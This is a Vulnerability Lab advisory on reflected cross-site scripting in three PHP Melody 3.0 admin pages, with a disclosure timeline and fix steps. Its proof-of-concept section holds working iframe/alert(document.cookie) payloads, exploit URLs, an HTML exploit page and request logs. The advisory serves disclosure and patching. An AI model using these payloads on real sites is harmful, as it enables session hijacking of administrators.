PHP Melody 3.0 Multiple Cross-Site Scripting (XSS)

2021.11.12
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: PHP Melody 3.0 - 'Multiple' Cross-Site Scripting (XSS) # Date: 2021-10-20 # Exploit Author: Vulnerability Lab # Vendor Homepage: https://www.phpsugar.com/phpmelody.html # Version: v3 # Tested on: Linux Document Title: =============== PHP Melody v3.0 - Multiple Cross Site Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2290 Bulletin: https://www.phpsugar.com/blog/2021/09/php-melody-3-0-vulnerability-report-fix/ Release Date: ============= 2021-10-20 Vulnerability Laboratory ID (VL-ID): ==================================== 2290 Common Vulnerability Scoring System: ==================================== 5 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing. Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series, TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS. (Copy of the Homepage: https://www.phpsugar.com/phpmelody.html ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple non-persistent cross site scripting vulnerabilities in the PHP Melody v3.0 video cms web-application. Affected Product(s): ==================== PHPSUGAR Product: PHP Melody v3.0 - Video CMS (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-09-01: Researcher Notification & Coordination (Security Researcher) 2021-09-02: Vendor Notification (Security Department) 2021-09-04: Vendor Response/Feedback (Security Department) 2021-09-22: Vendor Fix/Patch (Service Developer Team) 2021-09-22: Security Acknowledgements (Security Department) 2021-10-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ Multiple non-persistent cross site web vulnerabilities has been discovered in the official PHP Melody v3.0 video cms web-application. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application requests by the client-side. The cross site scripting vulnerabilities are located in the `moved`, `username` and `keyword` parameters of the `categories.php`, `import.php` or `import-user.php` files. The injection point is located in the get method request and the execution occurs with non-persistent attack vector in the status message or exception of the admin panel ui. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request Method(s): [+] GET Vulnerable File(s): [+] categories.php [+] import-user.php [+] import.php Vulnerable Parameter(s): [+] move [+] username [+] keyword Affected Module(s): [+] Status Message & Exception Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction. For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. PoC: Payload %22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E PoC: Exploitation https://phpmelody.localhost.com:8080/admin/categories.php?type=genre&id=1&moved=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E - https://phpmelody.localhost.com:8080/admin/import-user.php?action=search&username=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E &results=50&autofilling=0&autodata=1&oc=1&utc=19&data_source=youtube&sub_id=24&page=1 - https://phpmelody.localhost.com:8080/admin/import.php?action=search&keyword=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&results=50&page=1&autofilling=0&autodata=1&oc=1&utc=7&search_category=Comedy&search_orderby=relevance&data_source=youtube&sub_id=4 PoC: Exploit <html> <head><body> <title>PHP Melody v3.0 - XSS PoC Exploit</title> #1 <iframe src="https://phpmelody.localhost.com:8080/admin/categories.php?type=genre&id=1&moved=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E" width="200" height="200"> </iframe> #2 <iframe src="https://phpmelody.localhost.com:8080/admin/import-user.php?action=search&username=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E" width="200" height="200"> &results=50&autofilling=0&autodata=1&oc=1&utc=19&data_source=youtube&sub_id=24&page=1 </iframe> #3 <iframe src="https://phpmelody.localhost.com:8080/admin/import.php?action=search&keyword=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E" width="200" height="200">&results=50&page=1&autofilling=0&autodata=1&oc=1&utc=7&search_category=Comedy&search_orderby=relevance&data_source=youtube&sub_id=4 </iframe> </body></head> </html> --- PoC Session Logs (GET) (move) --- https://phpmelody.localhost.com:8080/admin/categories.php?type=genre&id=1&moved="><iframe src=evil.source onload=alert(document.cookie)> Host: phpmelody.localhost.com:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Cookie: PHPSESSID=acf50832ffd23b7d11815fa2b8f2e17u; melody_d900e07810ba03257e53baf46a9ada6f=admin; melody_key_d900e07810ba03257e53baf46a9ada6f=cc33e6eb60d2c1e31a5612bd8c193c88; cookieconsent_dismissed=yes; sidebar-main-state=maxi; watched_video_list=MSw0LDUsNywy; pm_elastic_player=normal; aa_import_from=youtube; guest_name_d900e07810ba03257e53baf46a9ada6f=admin - GET: HTTP/2.0 200 OK content-type: text/html; charset=utf-8 x-powered-by: PHP/5.4.34 --- PoC Session Logs (GET) (username) --- https://phpmelody.localhost:8080/admin/import-user.php?action=search&username="><iframe src=evil.source onload=alert(document.cookie)>&results=50&autofilling=0&autodata=1&oc=1&utc=19&data_source=youtube&sub_id=24&page=1 Host: phpmelody.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Cookie: PHPSESSID=acf50832ffd23b7d11815fa2b8f2e17u; melody_d900e07810ba03257e53baf46a9ada6f=admin; melody_key_d900e07810ba03257e53baf46a9ada6f=cc33e6eb60d2c1e31a5612bd8c193c88; cookieconsent_dismissed=yes; sidebar-main-state=maxi; watched_video_list=MSw0LDUsNywy; pm_elastic_player=normal; aa_import_from=youtube; guest_name_d900e07810ba03257e53baf46a9ada6f=admin - GET: HTTP/2.0 200 OK content-type: text/html; charset=utf-8 x-powered-by: PHP/5.4.34 Vulnerable Source: Categories.php (type=genre&id=1&moved) <div class="alert alert-success alert-styled-left"><button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button> Category<strong>Film & animation</strong> moved "><iframe src="evil.source" onload="alert(document.cookie)"> a level.</div> <div id="display_result" style="display:none;"></div> Vulnerable Source: Import Videos from User (action=search&username) <div class="card"> <div class="card-body"> <h5 class="mb-3">Username</h5> <div class="d-block"> <form name="import-user-search-form" id="import-user-search-form" action="" method="post" class=""> <div class="input-group mb-3"> <div class="form-group-feedback form-group-feedback-left"> <input name="username" type="text" class="form-control form-control-lg alpha-grey gautocomplete" value=""><iframe src="evil.source" onload="alert(document.cookie)">" placeholder="Enter username or Channel ID" autocomplete="yt-username" /> <div class="form-control-feedback form-control-feedback-lg"> <i class="icon-search4 text-muted"></i> </div></div> <div class="input-group-append"> <select name="data_source" class="form-field alpha-grey custom-select custom-select-lg"> <option value="youtube" selected="selected">Youtube User</option> <option value="youtube-channel" >Youtube Channel</option> <option value="dailymotion" >Dailymotion User</option> <option value="vimeo" >Vimeo User</option> </select></div> <div class="input-group-append"> <button type="submit" name="submit" class="btn btn-primary btn-lg" id="search-user-btn">Search</button> </div></div> Reference(s): https://phpmelody.localhost.com:8080/admin/ https://phpmelody.localhost.com:8080/admin/import.php https://phpmelody.localhost.com:8080/admin/categories.php https://phpmelody.localhost.com:8080/admin/import-user.php Solution - Fix & Patch: ======================= The vulnerabilities can be resolved by the following steps ... 1. Encode, escape or filter the vulnerable move, keyword and username parameters in the get method requests 2. Restrict all the transmitted parameters by disallowing the usage of special chars 3. Sanitize the status message and error message output to prevent the execution points 4. Alternativ setup security headers and a web firewall or filter to prevent further exploitation Credits & Authors: ================== Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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